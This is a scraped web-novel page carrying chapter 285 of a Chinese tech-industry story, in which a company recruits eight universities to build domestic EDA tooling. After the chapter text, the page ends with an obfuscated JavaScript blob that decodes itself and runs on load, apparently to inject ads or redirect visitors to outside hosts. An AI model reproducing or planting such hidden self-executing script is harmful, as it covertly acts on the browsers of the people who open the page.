首页
[切换至繁体版]
返回

第285章 八个高校联合攻关

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    补天项目启动后的第二天,中央研究院第七封闭区的灯就再也没完整熄过。
    白天,它像一间被高密度推演和快速裁剪填满的战情室;到了深夜,它又像某种安静却高压运转的底层机房,屏幕上滚动的不是发布会素材,不是商业汇报,而是一段段被切碎的约束条件丶热点区块丶规则映射丶冲突标记和反覆回退的搜索路径。
    补天进入战时状态以后,未来科技内部很多人第一次真正意识到,EDA并不是一句「工具链自主」就能轻飘飘概括的事。
    它更像一片过去一直由别人替你铺好的地下骨架。
    你平时看不见它,但所有高端晶片丶复杂版图丶跨端协同和大规模验证,都默默踩在它上面。一旦别人抽掉几根主梁,地上的建筑未必立刻坍塌,可你下一步每往前迈,脚底都开始发空。
    未来科技现在要做的,不是站在地面上骂那几根主梁不该被抽走,而是要在脚底重新焊出一段能接住自己继续往前的钢架。
    而随着补天项目第一批切口越来越具体,另一个现实也迅速显影——只靠未来科技自己关起门来打,不够。
    不是决心不够,也不是资源不够。
    而是这条战线本身太深。
    版图规则丶复杂优化丶形式方法丶自动化搜索丶微电子物理约束丶数学建模丶验证逻辑丶机器学习辅助……这些能力平时散落在不同学院丶不同实验室丶不同研究方向里,像一堆彼此看似并不相邻的点。可当未来科技真的试图把补天往下打成「能用的骨架」时,这些点便开始同时露出它们不可替代的边。
    上午九点,中央研究院顶层小会议室的门再次合上。
    和补天一级启动时不同,这一次参会的人更少,但桌上的名单却更多。
    林薇坐在主位左侧,面前摊着十几份院校与团队资料;章宸旁边放着一张被标满红蓝记号的能力映射图;赵静则把小芯当前第一轮约束理解框架和补天试验样例的反馈结果压在手边。苏黛丶周明丶李明哲也都在场,但谁都没先说话,因为大家都知道,今天这场会不是讨论「要不要联合」,而是讨论——
    到底把谁拉进来,才不会把补天拉散。
    陈醒站在屏幕前,没有急着开口,而是先把一张图调了出来。
    图上没有学校名字,只有八个被圈出来的方向:
    复杂优化
    版图与布线
    形式验证
    约束求解
    混合信号建模
    自动化工具
    工业软体架构
    机器学习辅助搜索
    「补天往外借力,不按名气选,不按行政级别选,不按论文数量选。」陈醒看着众人,「只按问题选。」
    他抬手点了一下屏幕最左侧。
    「未来科技现在不是在办一场学术联席会,也不是在搭一个好看的开放平台。我们要找的是,谁能真正在这八个方向里,下场打仗。」
    这话一落,会议室里的气氛就定了。
    周明原本还担心高校一多,项目会被迅速稀释成「人人参与,人人都讲一点」的漂亮盘子。可陈醒第一句就先把这个风险压住了——补天向外借力,不是做声势,而是精准抽人丶抽脑子丶抽方法。
    林薇把手里第一份资料推到中间:「昨晚到现在,我们筛了二十三家院校丶四十多个团队。能真正进入第一批候选的,只有八个。」
    顾楠抬头:「正好八个?」
    「不是凑数。」林薇说,「是再多就散,再少就缺边。」
    她这话说得很冷,却极准。
    补天此刻最怕两件事。
    一是人少到能力断层,未来科技不得不在某些关键方向上继续盲打;二是人多到问题失焦,最后谁都在研究,谁都没真把工程切口咬住。
    八个,已经是她和章宸丶赵静连夜压出来的极限平衡。
    章宸接过话,把八个方向一一展开。
    「第一家,做复杂组合优化和约束求解,团队风格硬,论文不花,但在大规模搜索裁剪上有真东西。补天第二块和第四块都能接。」
    「第二家,做微电子版图自动布局和热点识别,虽然以前更多偏教学和专项项目,但底层算法很扎实,和研究所递交的那套规则映射能对上。」
    「第三家,做形式方法和验证逻辑,平时看着离消费电子远,可只要补天后面往规则检查和一致性风险筛查延伸,这支队伍绕不开。」
    「第四家,做混合信号协同建模,短期不一定上主战场,但未来科技车端丶卫星链路和更复杂端侧节点后面一定会吃这块能力,不提前埋人,后面又得临时救火。」
    「第五家,做工业软体底层架构,可能不是最会发论文的,但他们能帮补天少踩很多工具工程化的坑。」
    「第六家,做机器学习辅助搜索,过去很边缘,可和小芯配合可能会出奇效。」
    「第七家,做物理约束与规则检查,团队习惯苦活,不爱讲故事,适合接最脏最累的那段。」
    「第八家,」章宸停了一下,「做版图布线和高维参数收敛,不在热门叙事里,但他们的老师带学生有股土办法磨死问题的劲。」
    他说到这里,轻轻吐出一口气。
    「这八家放在平时,不会自然坐到一张桌子上。做的东西不完全一样,路径也不一样,彼此甚至可能都不太认同对方的研究节奏。但补天现在恰恰需要这种不一样。」
    赵静点了点头:「而且它们正好能和未来科技内部形成闭环。研究所给理论底座,未来科技给真实工业样例和工程压强,高校给分方向深打。」
    苏黛则从更现实的角度补了一句:「问题是,这八家愿不愿意按补天的节奏来。」
    会议室里安静了一瞬。
    这是关键。
    高校不是企业,也不是研究所里的专项战队。它们有自己的节奏丶自己的评价体系丶自己的保密顾虑丶自己的项目逻辑。未来科技如果只是把人请过来开几场会丶挂几个联合攻关牌子,那很容易变成场面热闹丶效率极低的空壳协作。
    林薇显然已经想过这个问题:「所以不能按普通校企合作方式谈。」
    「怎麽谈?」周明问。
    陈醒转头看了他一眼:「按战时问题谈,不按合作框架谈。」
    这句话让几个人都微微一怔。
    陈醒继续道:「不谈大而全,不谈几年规划,不谈平台共建。就谈三件事——第一,补天现在遇到的真实问题是什麽;第二,未来科技能给什麽样的样例丶算力丶工程接口和反馈闭环;第三,进入这条线以后,必须接受什麽样的保密和推进节奏。」
    他顿了一下,声音更平:
    「愿意按这个打的,就进。不愿意的,不强拉。」
    李明哲听到这里,眼神动了动。
    他很清楚,这种谈法极不「标准」,但恰恰最适合当前形势。因为未来科技需要的不是一张漂亮的联合攻关名单,而是一批真正愿意从论文节奏切换到工业战时节奏的人。
    周明则更快想到了另一层:「这样一来,对外叙事也好切。不是未来科技高调拉八校造势,而是围绕基础工业软体和关键算法方向开展定向联合研究,外面就算闻到味道,也还拼不出完整图。」
    「对。」李明哲接住,「补天不能自己往外喊『华夏EDA联盟』这种找打的口号。只要问题切得足够具体,对外永远可以维持在『关键基础研究与工程问题协同』的层面。」
    林薇没有在这个点上停太久,她直接问苏黛:「今天能不能把接触通道切出来?」
    「能。」苏黛点头,「但必须分层。不是所有学校都由未来科技直接出面,有些适合研究所牵,有些适合通过专项项目口子接,还有两家最好由老教授之间点对点把人先叫起来,避免行政路径一走,消息反而先散。」
    「谁出面合适?」赵静问。
    章宸抬手在名单旁边点了几下:「这三家我来谈。都是偏硬的团队,直说问题比绕着铺垫更有效。那两家做机器学习辅助和复杂优化的,赵静你去接,更容易讲清楚为什麽这不是『让AI来魔法解题』。工业软体架构和物理规则那两家,研究所老师出面比我们强。」
    那位中年学者缓缓点头:「可以。学校里做这类东西的人,平时话不多,但只要你让他感觉到问题是真的丶数据是真的丶不是来请他站台的,很多人反而比产业界想像得更愿意下场。」
    说到这里,他停了一下,忽然加了一句:
    「尤其是现在这种时候。」
    会议室里静了静。
    每个人都明白这句话的意思。
    北洲限制升级以后,不只是未来科技内部感到了那种被工具链掐住的冷意。国内很多真正做底层研究的人,也第一次在非常具体的层面意识到——原来这些看上去很「冷」「慢」「不挣钱」的问题,真有一天会直接成为整个高端工业能不能继续往前走的门槛。
    所以补天现在去敲门,不再只是企业找高校帮忙。
    而是在问:这场仗,你们愿不愿意一起打。
    会议结束得很快。
    不是因为事情少,而是因为没有什麽可拖的。
    中午十二点四十,第一批接触正式开始。
    未来科技没有发公函,没有组织所谓「联合发布会筹备」,甚至没有走常规商务合作那套铺垫话术。几路人分头出去,像在不同城市同时点燃八根细却硬的引线。
    章宸第一个打出去的电话,接给了一位做复杂版图与参数收敛的老教授。
    电话通了,他没有寒暄太久,只说了三句话。
    「我们碰上真问题了。」
    「不是缺项目,是缺能接住下一代晶片演进的工具骨架。」
    「如果你愿意,我们今天就把问题样例给你看。」
    电话那头沉默了几秒。
    老教授没有立刻答应,也没有客套,只问了一句:「是真问题,还是企业想借高校做一轮宣传包装?」
    章宸回答得非常直接:「如果是后者,我不会亲自打这个电话。」
    又是几秒沉默。
    然后,对面只回了一个字:
    「来。」
    另一边,赵静去接的是一位在机器学习辅助搜索方向长期不太被主流微电子圈看好的青年学者。
    他过去几年做的很多东西,常被人评价为「太新」「太飘」「离真实EDA太远」。可赵静偏偏觉得,补天现在需要的,就是这种不完全被旧工具思维绑死丶又肯在硬约束里啃问题的人。
    电话接通后,对方语气里还带着明显警惕:「我先说清楚,我不做概念演示,也不接那种让模型给你们画几张漂亮图就算合作的项目。」
    赵静听到这句,反而笑了。
    「正好。」她说,「我们也不需要漂亮图。我们现在缺的是,怎麽让模型在一堆不能碰的工程红线里,先学会别把问题越帮越乱。」
    电话那头一下安静了。
    几秒后,对方声音明显变了:「你们是真要把AI往EDA里塞?」
    「不是塞。」赵静说,「是让它先在版图热点和复杂空间搜索里,当个合格的副手。你要是愿意,今晚就看样例。」
    对方这次没有再迟疑:「发我保密流程。」
    苏黛这边跑得更现实。
    她没和学校谈技术,而是连着打了十几个电话,把未来科技内部为补天准备的接待丶保密丶算力帐号丶隔离终端丶临时住宿和短期进驻流程一股脑切了出来。她比谁都清楚,高校联合攻关最容易死在什麽地方——不是技术,而是组织摩擦。人刚被问题激起来,结果一落地先被一堆权限丶报备丶设备申请和流程拖死,那股战意很快就散了。
    所以她给团队的要求只有一句:
    「别让想来打仗的人,先死在我们自己的流程上。」
    下午三点半,第一家高校团队的人到了。
    来的不是行政,不是学院领导,也不是合作办公室的人。
    而是那位老教授带着两个博士和一个年轻讲师,直接拎着笔记本和一沓列印纸进了中央研究院的封闭接待区。连饭都没来得及吃,就先要求看问题样例。
    周明本来还准备了一套简版保密说明和边界提示,结果对方只扫了一眼,便直接签了字,随后抬头问:
    「样例在哪?」
    顾楠把脱敏后的第一批热点区块调了出来。
    对方四个人站在屏幕前,只看了不到十分钟,脸色就变了。
    不是为难,而是那种「终于看见真实工业痛点是什麽样」的凝重。
    老教授指着其中一块极其复杂的热点区域,低声说了一句:「这不是普通研究题,这是在死人堆里找路。」
    顾楠难得地嗯了一声:「我们现在就是在找路。」
    那位年轻讲师没有急着表态,而是反覆看了几遍现有的规则映射框架和补天第一轮半自动裁剪思路,过了会儿才说:「如果按传统思路做,这东西会越来越慢,最后不
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();